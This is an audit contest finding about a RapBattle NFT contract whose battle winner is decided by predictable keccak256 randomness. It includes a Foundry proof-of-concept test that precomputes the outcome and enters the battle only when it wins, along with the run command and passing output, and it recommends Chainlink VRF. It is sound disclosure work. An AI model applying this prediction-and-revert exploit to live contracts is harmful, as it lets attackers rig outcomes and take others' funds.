Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Randomness in RapBattle contract can be known before the battle start which give clear advantage to the challenger

Summary

  • Challenger can know the random before the battle start by which he can know the outcome of the battle and can call the goOnStageOrBattle function in same transaction if the random number is favorable to him. Otherwise, he can revert the transaction and get his money back.

  • random number is generated using the keccak256 function which is not secure.

  • we can use alternative methods to generate a random number like Chainlink's VRF.

Vulnerability Details

  • Challenger can know the random before he calls the goOnStageOrBattle function and can only call the goOnStageOrBattle function if the random number is favorable to him. Otherwise, he can revert the transaction and get his money back. if random number is favorable to him, he can call the goOnStageOrBattle function in the same transaction and win the battle.

  • We can use Chainlink's VRF to generate a random number to select the winner.

Click to see code
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
@> uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}

POC

  • Paste this test in OneShotTest.t.sol.

error Attack_failed();
function testGoOnStageOrBattleRandomness() public twoSkilledRappers {
uint256 userBalanceBefore = cred.balanceOf(user);
uint256 challengerBalanceBefore = cred.balanceOf(challenger);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
// Here, we exacly know the random number that will be generated by the rapBattle contract
// which help us to decide the outcome of the battle and we can only call the goOnStageOrBattle function
// if the random number is favorable to us.
// otherwise, we can revert the transaction and get our money back.
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, challenger))) % totalBattleSkill;
if(random > defenderRapperSkill) {
rapBattle.goOnStageOrBattle(1, 3);
}
else {
revert Attack_failed();
}
vm.stopPrank();
console.log("user.balance: ", cred.balanceOf(user));
console.log("challenger.balance: ", cred.balanceOf(challenger));
assertEq(cred.balanceOf(user), userBalanceBefore - 3);
assertEq(cred.balanceOf(challenger), challengerBalanceBefore + 3);
}
  • Run this command to test the vulnerability.

forge test --mt testGoOnStageOrBattleRandomness -vvvv
  • In the output, you will see that the test case is passing.

[⠔] Compiling...
No files changed, compilation skipped
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] testGoOnStageOrBattleRandomness() (gas: 645332)
Logs:
user.balance: 1
challenger.balance: 7
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.61ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

  • Challenger can know the random before the battle and can only call the goOnStageOrBattle function if the random number is favorable to him.

  • otherwise, he can revert the transaction and get his money back.

Tools Used

  • manual review

Recommendations

  • Use Chainlink's VRF to generate a random number to select the winner

  • Off-chain random number generation can also be used to select the winner.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.